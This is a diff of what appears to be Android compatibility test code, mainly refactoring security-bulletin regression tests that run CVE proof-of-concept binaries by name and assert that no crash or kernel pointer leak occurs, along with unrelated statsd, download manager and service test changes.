-        AdbUtils.runCommandLine("logcat -c",getDevice());
-        AdbUtils.runPoc("CVE-2016-3913", getDevice(), 60);
-        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11.*?/system/bin/mediaserver",logcat);
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-3913", getDevice(), "mediaserver");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index e2e5134..f9d4e1d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -35,11 +35,7 @@
    */
   @SecurityTest(minPatchLevel = "2017-02")
   public void testPocCVE_2017_0415() throws Exception {
-      AdbUtils.runCommandLine("logcat -c", getDevice());
-      AdbUtils.runPoc("CVE-2017-0415", getDevice(), 60);
-      String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-      assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
-          logcatOut);
+      AdbUtils.runPocAssertNoCrashes("CVE-2017-0415", getDevice(), "mediaserver");
   }
 
     /**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 5057ebe..179b0cb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -17,6 +17,7 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import java.util.concurrent.Callable;
 
 public class Poc17_03 extends SecurityTestCase {
 
@@ -65,9 +66,26 @@
     @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0334() throws Exception {
         if (containsDriver(getDevice(), "/dev/dri/renderD129")) {
-           String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
-           assertNotMatchesMultiLine("Leaked ptr is (0x[fF]{6}[cC]0[a-fA-F0-9]{8}"
-               +"|0x[c-fC-F][a-fA-F0-9]{7})",out);
+            String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
+            // info leak sample
+            // "leaked ptr is 0xffffffc038ed1980"
+            String[] lines = out.split("\n");
+            String pattern = "Leaked ptr is 0x";
+            assertNotKernelPointer(new Callable<String>() {
+                int index = 0;
+                @Override
+                public String call() {
+                    for (; index < lines.length; index++) {
+                        String line = lines[index];
+                        int index = line.indexOf(pattern);
+                        if (index == -1) {
+                            continue;
+                        }
+                        return line.substring(index + pattern.length());
+                    }
+                    return null;
+                }
+            }, null);
         }
     }
 
@@ -76,11 +94,7 @@
      */
     @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0479() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPocNoOutput("CVE-2017-0479", getDevice(), 60);
-        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
-                         "audioserver <<<", logcatOut);
+        AdbUtils.runPocAssertNoCrashes("CVE-2017-0479", getDevice(), "audioserver");
     }
 
     /*
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index e1c4977..3fbf3d2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -33,9 +33,6 @@
                                     " -t audio/amr", getDevice());
         // Wait for intent to be processed before checking logcat
         Thread.sleep(5000);
-        String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\)" +
-                         "[\\s\\n\\S]*>>> /system/bin/" +
-                         "mediaserver <<<", logcat);
+        AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 67becec..131b580 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -21,13 +21,13 @@
 @SecurityTest
 public class Poc17_12 extends SecurityTestCase {
 
-  /**
-   * b/38045794
-   */
-  @SecurityTest(minPatchLevel = "2017-12")
-  public void testPocCVE_2017_6262() throws Exception {
-    if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
-      AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
+    /**
+     * b/38045794
+     */
+    @SecurityTest(minPatchLevel = "2017-12")
+    public void testPocCVE_2017_6262() throws Exception {
+        if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
+            AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
+        }
     }
-  }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
index 9278af4..b270c69 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -37,24 +37,11 @@
   }
 
   /**
-   * CVE-2018-5892
+   *  b/73172817
    */
-  @SecurityTest(minPatchLevel = "2018-06")
-  public void testPocCVE_2018_5892() throws Exception {
-    String result = AdbUtils.runCommandLine(
-        "pm list package com.emoji.keyboard.touchpal", getDevice());
-    assertFalse(result.contains("com.emoji.keyboard.touchpal"));
+  @SecurityTest
+  public void testPocCVE_2018_9344() throws Exception {
+      AdbUtils.runPocAssertNoCrashes(
+          "CVE-2018-9344", getDevice(), "android\\.hardware\\.drm@\\d\\.\\d-service");
   }
-
-    /**
-     *  b/73172817
-     */
-    @SecurityTest
-    public void testPocCVE_2018_9344() throws Exception {
-        AdbUtils.runCommandLine("logcat -c", getDevice());
-        AdbUtils.runPoc("CVE-2018-9344", getDevice(), 30);
-        String output = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine(">>> /vendor/bin/hw/android.hardware.cas@1.0-service <<<" +
-                ".*?signal 11 \\(SIGSEGV\\)", output);
-    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
index 9595d5a..173508c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -22,14 +22,12 @@
 @SecurityTest
 public class Poc18_07 extends SecurityTestCase {
 
-    /**
-     * b/76221123
-     */
-     @SecurityTest(minPatchLevel = "2018-07")
-     public void testPocCVE_2018_9424() throws Exception {
-       AdbUtils.runCommandLine("logcat -c" , getDevice());
-       AdbUtils.runPoc("CVE-2018-9424", getDevice(), 60);
-       String result = AdbUtils.runCommandLine("logcat -d", getDevice());
-       assertNotMatchesMultiLine("Fatal signal", result);
-     }
+   /**
+    * b/76221123
+    */
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testPocCVE_2018_9424() throws Exception {
+        AdbUtils.runPocAssertNoCrashes(
+            "CVE-2018-9424", getDevice(), "android\\.hardware\\.drm@\\d\\.\\d-service");
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 115fad2..520c9fc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -31,4 +31,12 @@
     public void testPocBug_115739809() throws Exception {
         assertFalse(AdbUtils.runPocCheckExitCode("Bug-115739809", getDevice(), 30));
     }
+
+    /**
+     * b/116855682
+     */
+    @SecurityTest(minPatchLevel = "2019-03")
+    public void testPocCVE_2019_2025() throws Exception {
+        AdbUtils.runPocNoOutput("CVE-2019-2025", getDevice(), 300);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
new file mode 100644
index 0000000..796119d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -0,0 +1,53 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+
+import static org.junit.Assert.assertFalse;
+
+@SecurityTest
+public class Poc19_05 extends SecurityTestCase {
+
+    /**
+     * b/129556464
+     */
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2052() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2052", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+
+    /**
+     * b/129556111
+     */
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2045() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2045", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+
+    /*
+     * b/129556718
+     */
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2047() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2047", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java
new file mode 100644
index 0000000..c3651fb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java
@@ -0,0 +1,32 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc19_06 extends SecurityTestCase {
+
+    /**
+     * b/129556445
+     */
+    @SecurityTest(minPatchLevel = "2019-06")
+    public void testPocCVE_2019_2097() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2097", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java
new file mode 100644
index 0000000..b7fd2f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java
@@ -0,0 +1,32 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc19_08 extends SecurityTestCase {
+
+    /**
+     * b/129556445
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    public void testPocCVE_2019_2130() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2130", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
new file mode 100644
index 0000000..2007914
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
@@ -0,0 +1,44 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+
+import static org.junit.Assert.assertFalse;
+
+@SecurityTest
+public class Poc19_11 extends SecurityTestCase {
+
+    /**
+     * b/138441919
+     */
+    @SecurityTest(minPatchLevel = "2019-11")
+    public void testPocBug_138441919() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("bug_138441919", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+
+    /**
+     * b/138442295
+     */
+    @SecurityTest(minPatchLevel = "2019-11")
+    public void testPocBug_138442295() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("bug_138442295", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+}
diff --git a/hostsidetests/stagedinstall/Android.bp b/hostsidetests/stagedinstall/Android.bp
index 01bb8be..49f7f87 100644
--- a/hostsidetests/stagedinstall/Android.bp
+++ b/hostsidetests/stagedinstall/Android.bp
@@ -32,7 +32,8 @@
 
     test_suites: [
         "cts",
-        "general-tests"
+        "general-tests",
+        "mts",
     ],
 }
 
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index f38bf33..5b5711c 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -66,6 +66,7 @@
 import java.util.List;
 import java.util.Set;
 import java.util.function.Function;
+import java.util.stream.Collectors;
 
 /**
  * Base class for testing Statsd atoms.
@@ -239,6 +240,16 @@
     }
 
     /**
+     *  Gets a List of sorted ConfigMetricsReports from ConfigMetricsReportList.
+     */
+    protected List<ConfigMetricsReport> getSortedConfigMetricsReports(
+            ConfigMetricsReportList configMetricsReportList) {
+        return configMetricsReportList.getReportsList().stream()
+                .sorted(Comparator.comparing(ConfigMetricsReport::getCurrentReportWallClockNanos))
+                .collect(Collectors.toList());
+    }
+
+    /**
      * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
      * contain a single report).
      */
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 25b27e8..66de414 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -17,7 +17,6 @@
 
 import android.net.wifi.WifiModeEnum;
 import android.os.WakeLockLevelEnum;
-import android.platform.test.annotations.RestrictedBuildTest;
 import android.server.ErrorSource;
 
 import com.android.internal.os.StatsdConfigProto.FieldMatcher;
@@ -33,7 +32,6 @@
 import com.android.os.AtomsProto.BleScanResultReceived;
 import com.android.os.AtomsProto.BleScanStateChanged;
 import com.android.os.AtomsProto.CameraStateChanged;
-import com.android.os.AtomsProto.CpuActiveTime;
 import com.android.os.AtomsProto.DangerousPermissionState;
 import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
 import com.android.os.AtomsProto.FlashlightStateChanged;
@@ -368,42 +366,6 @@
         assertTrue("found uid " + uid, found);
     }
 
-    @RestrictedBuildTest
-    public void testCpuActiveTime() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        StatsdConfig.Builder config = getPulledConfig();
-        FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
-                .setField(Atom.CPU_ACTIVE_TIME_FIELD_NUMBER)
-                .addChild(FieldMatcher.newBuilder()
-                        .setField(CpuActiveTime.UID_FIELD_NUMBER));
-        addGaugeAtomWithDimensions(config, Atom.CPU_ACTIVE_TIME_FIELD_NUMBER, dimension);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> atomList = getGaugeMetricDataList();
-
-        boolean found = false;
-        int uid = getUid();
-        long timeSpent = 0;
-        for (Atom atom : atomList) {
-            if (atom.getCpuActiveTime().getUid() == uid) {
-                found = true;
-                timeSpent += atom.getCpuActiveTime().getTimeMillis();
-            }
-        }
-        assertTrue(timeSpent > 0);
-        assertTrue("found uid " + uid, found);
-    }
-
     public void testDeviceCalculatedPowerUse() throws Exception {
         if (statsdDisabled()) {
             return;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
index fc069b1..803dd2e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
@@ -32,6 +32,8 @@
 import com.android.os.StatsLog.StatsLogReport;
 import com.android.tradefed.log.LogUtil;
 
+import java.util.List;
+
 /**
  * Test Statsd Metric activations and deactivations
  */
@@ -226,8 +228,8 @@
         Thread.sleep(10L);
 
         ConfigMetricsReportList reportList = getReportList();
-        assertEquals(1, reportList.getReportsCount());
-        ConfigMetricsReport report = reportList.getReports(0);
+        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+        ConfigMetricsReport report = reports.get(0);
         verifyMetrics(report, 4, 0, 1);
     }
 
@@ -371,18 +373,19 @@
         logAllMetrics();
 
         ConfigMetricsReportList reportList = getReportList();
-        assertEquals(3, reportList.getReportsCount());
+        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+        assertEquals(3, reports.size());
 
         // Report before restart.
-        ConfigMetricsReport report = reportList.getReports(0);
+        ConfigMetricsReport report = reports.get(0);
         verifyMetrics(report, 1, 0, 1);
 
         // Report after first restart.
-        report = reportList.getReports(1);
+        report = reports.get(1);
         verifyMetrics(report, 2, 3, 4);
 
         // Report after second restart.
-        report = reportList.getReports(2);
+        report = reports.get(2);
         verifyMetrics(report, 2, 2, 3);
     }
 
@@ -506,18 +509,19 @@
         logAllMetrics();
 
         ConfigMetricsReportList reportList = getReportList();
-        assertEquals(3, reportList.getReportsCount());
+        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+        assertEquals(3, reports.size());
 
         // Report before restart.
-        ConfigMetricsReport report = reportList.getReports(0);
+        ConfigMetricsReport report = reports.get(0);
         verifyMetrics(report, 3, 0, 3);
 
         // Report after first restart.
-        report = reportList.getReports(1);
+        report = reports.get(1);
         verifyMetrics(report, 2, 2, 3);
 
         // Report after second restart.
-        report = reportList.getReports(2);
+        report = reports.get(2);
         verifyMetrics(report, 0, 0, 1);
     }
 
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
index 6c5de5a..ae40111 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
@@ -131,10 +131,9 @@
 
         assertNotNull(wl);
         assertTrue(wl.getDurationMs() > 0);
-        assertTrue(wl.getCount() == 1);
-        assertTrue(wl.getMaxDurationMs() >= 500);
+        assertTrue(wl.getMaxDurationMs() >= 400);
         assertTrue(wl.getMaxDurationMs() < 700);
-        assertTrue(wl.getTotalDurationMs() >= 500);
+        assertTrue(wl.getTotalDurationMs() >= 400);
         assertTrue(wl.getTotalDurationMs() < 700);
 
         setAodState(aodState); // restores AOD to initial state.
diff --git a/hostsidetests/sustainedperf/shadertoy_android/src/GLtestView.java b/hostsidetests/sustainedperf/shadertoy_android/src/GLtestView.java
index a6dab62..7893886 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/src/GLtestView.java
+++ b/hostsidetests/sustainedperf/shadertoy_android/src/GLtestView.java
@@ -110,9 +110,9 @@
     private static class ContextFactory implements GLSurfaceView.EGLContextFactory {

         private static int EGL_CONTEXT_CLIENT_VERSION = 0x3098;

         public EGLContext createContext(EGL10 egl, EGLDisplay display, EGLConfig eglConfig) {

-            Log.w(TAG, "creating OpenGL ES 3.0 context");

+            Log.w(TAG, "creating OpenGL ES 2.0 context");

             checkEglError("Before eglCreateContext", egl);

-            int[] attrib_list = {EGL_CONTEXT_CLIENT_VERSION, 3, EGL10.EGL_NONE };

+            int[] attrib_list = {EGL_CONTEXT_CLIENT_VERSION, 2, EGL10.EGL_NONE };

             EGLContext context = egl.eglCreateContext(display, eglConfig, EGL10.EGL_NO_CONTEXT, attrib_list);

             checkEglError("After eglCreateContext", egl);

             return context;

diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
index 5c45080..c809f26 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
@@ -23,6 +23,8 @@
 import android.test.InstrumentationTestCase;
 import android.test.suitebuilder.annotation.MediumTest;
 
+import androidx.test.filters.FlakyTest;
+
 import java.util.concurrent.TimeoutException;
 
 /**
@@ -85,6 +87,7 @@
     }
 
     @MediumTest
+    @FlakyTest
     public void testPerformGlobalActionNotifications() throws Exception {
         // Perform the action under test
         assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
@@ -102,6 +105,7 @@
     }
 
     @MediumTest
+    @FlakyTest
     public void testPerformGlobalActionQuickSettings() throws Exception {
         // Check whether the action succeeded.
         assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
@@ -122,6 +126,7 @@
     }
 
     @MediumTest
+    @FlakyTest
     public void testPerformGlobalActionPowerDialog() throws Exception {
         // Check whether the action succeeded.
         assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
diff --git a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
index bb46489..5d588ff 100644
--- a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
+++ b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
@@ -26,6 +26,7 @@
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Environment;
+import android.os.FileUtils;
 
 import androidx.test.runner.AndroidJUnit4;
 
@@ -34,6 +35,9 @@
 
 import java.io.File;
 import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
 
 @RunWith(AndroidJUnit4.class)
 public class DownloadManagerApi28Test extends DownloadManagerTestBase {
@@ -173,8 +177,6 @@
                 receiver.waitForDownloadComplete(SHORT_TIMEOUT, downloadId);
                 assertSuccessfulDownload(downloadId, new File(downloadLocation.getPath()));
                 final Uri downloadUri = mDownloadManager.getUriForDownloadedFile(downloadId);
-                mContext.grantUriPermission("com.android.shell", downloadUri,
-                        Intent.FLAG_GRANT_READ_URI_PERMISSION);
                 final Uri mediaStoreUri = getMediaStoreUri(downloadUri);
                 final ContentResolver contentResolver = mContext.getContentResolver();
                 assertArrayEquals(hash(contentResolver.openInputStream(downloadUri)),
@@ -199,6 +201,7 @@
      */
     @Test
     public void testAddCompletedDownload_mediaStoreEntry() throws Exception {
+        final String assetName = "noiseandchirps.mp3";
         final String[] downloadPath = new String[] {
                 new File(Environment.getExternalStoragePublicDirectory(
                         Environment.DIRECTORY_DOWNLOADS), "file1.mp3").getPath(),
@@ -207,17 +210,17 @@
                 "/sdcard/file3.mp3",
         };
         for (String downloadLocation : downloadPath) {
-            final String fileContents = "Test content:" + downloadLocation + "_" + System.nanoTime();
             final File file = new File(Uri.parse(downloadLocation).getPath());
-            writeToFile(file, fileContents);
+            try (InputStream in = mContext.getAssets().open(assetName);
+                 OutputStream out = new FileOutputStream(file)) {
+                FileUtils.copy(in, out);
+            }
 
             final long downloadId = mDownloadManager.addCompletedDownload(file.getName(),
                     "Test desc", true,
-                    "text/plain", downloadLocation, fileContents.getBytes().length, true);
+                    "audio/mp3", downloadLocation, file.length(), true);
             assertTrue(downloadId >= 0);
             final Uri downloadUri = mDownloadManager.getUriForDownloadedFile(downloadId);
-            mContext.grantUriPermission("com.android.shell", downloadUri,
-                    Intent.FLAG_GRANT_READ_URI_PERMISSION);
             final Uri mediaStoreUri = getMediaStoreUri(downloadUri);
             assertArrayEquals(hash(new FileInputStream(file)),
                     hash(mContext.getContentResolver().openInputStream(mediaStoreUri)));
diff --git a/tests/app/DownloadManagerLegacyTest/src/android/app/cts/DownloadManagerLegacyTest.java b/tests/app/DownloadManagerLegacyTest/src/android/app/cts/DownloadManagerLegacyTest.java
index 32d6fd9..48ae060 100644
--- a/tests/app/DownloadManagerLegacyTest/src/android/app/cts/DownloadManagerLegacyTest.java
+++ b/tests/app/DownloadManagerLegacyTest/src/android/app/cts/DownloadManagerLegacyTest.java
@@ -100,8 +100,6 @@
                     true, "text/plain", downloadLocation, fileContents.getBytes().length, true);
             assertTrue(downloadId >= 0);
             final Uri downloadUri = mDownloadManager.getUriForDownloadedFile(downloadId);
-            mContext.grantUriPermission("com.android.shell", downloadUri,
-                    Intent.FLAG_GRANT_READ_URI_PERMISSION);
             final Uri mediaStoreUri = getMediaStoreUri(downloadUri);
 
             assertEquals(fileContents, readContentsFromUri(mediaStoreUri));
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index a576e626..7d34da0 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -133,6 +133,8 @@
             <meta-data android:name="android.app.stubs.reference" android:resource="@xml/metadata" />
         </service>
 
+        <service android:name="android.app.stubs.LocalStoppedService" />
+
         <service android:name="android.app.stubs.LocalForegroundService">
             <intent-filter>
                 <action android:name="android.app.stubs.FOREGROUND_SERVICE" />
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index a7d2c3f..bc2b4d4 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -56,6 +56,8 @@
      */
     @Override
     public void onReceive(Context context, Intent intent) {
+        // Use the application context as the receiver context could be restricted.
+        context = context.getApplicationContext();
         int command = intent.getIntExtra(EXTRA_COMMAND, -1);
         Log.d(TAG + "_" + context.getPackageName(), "Got command " + command + ", intent="
                 + intent);
@@ -86,11 +88,6 @@
     }
 
     private void doBindService(Context context, Intent commandIntent) {
-        context = context.getApplicationContext();
-        if (LocalService.sServiceContext != null) {
-            context = LocalService.sServiceContext;
-        }
-
         String targetPackage = getTargetPackage(commandIntent);
         int flags = getFlags(commandIntent);
 
@@ -98,13 +95,13 @@
         bindIntent.setComponent(new ComponentName(targetPackage, SERVICE_NAME));
 
         ServiceConnection connection = addServiceConnection(targetPackage);
-
         context.bindService(bindIntent, connection, flags | Context.BIND_AUTO_CREATE);
     }
 
     private void doUnbindService(Context context, Intent commandIntent) {
         String targetPackage = getTargetPackage(commandIntent);
-        context.unbindService(sServiceMap.remove(targetPackage));
+        ServiceConnection connection = sServiceMap.remove(targetPackage);
+        context.unbindService(connection);
     }
 
     private void doStartForegroundService(Context context, Class cls) {
diff --git a/tests/app/app/src/android/app/stubs/LocalService.java b/tests/app/app/src/android/app/stubs/LocalService.java
index f914cdf..f270582 100644
--- a/tests/app/app/src/android/app/stubs/LocalService.java
+++ b/tests/app/app/src/android/app/stubs/LocalService.java
@@ -48,12 +48,17 @@
     public static final int GET_UID_CODE = 9;
     public static final int GET_PPID_CODE = 10;
     public static final int GET_ZYGOTE_PRELOAD_CALLED = 11;
+    public static final int STOP_SELF_CODE = 12;
+    public static final int STOP_SELF_RESULT_CODE = 13;
+    public static final int STOP_SELF_SUCCESS_UNBIND_CODE = 14;
 
     public static Context sServiceContext = null;
 
     private IBinder mReportObject;
     private int mStartCount = 1;
     private int mValue = 0;
+    private int mStartId = -1;
+    private boolean mIsStoppedSelfSuccess;
 
     private final IBinder mBinder = new Binder() {
         @Override
@@ -88,6 +93,12 @@
                     data.enforceInterface(SERVICE_LOCAL);
                     reply.writeBoolean(ZygotePreload.preloadCalled());
                     return true;
+                case STOP_SELF_RESULT_CODE:
+                    mIsStoppedSelfSuccess = stopSelfResult(mStartId);
+                    return true;
+                case STOP_SELF_CODE:
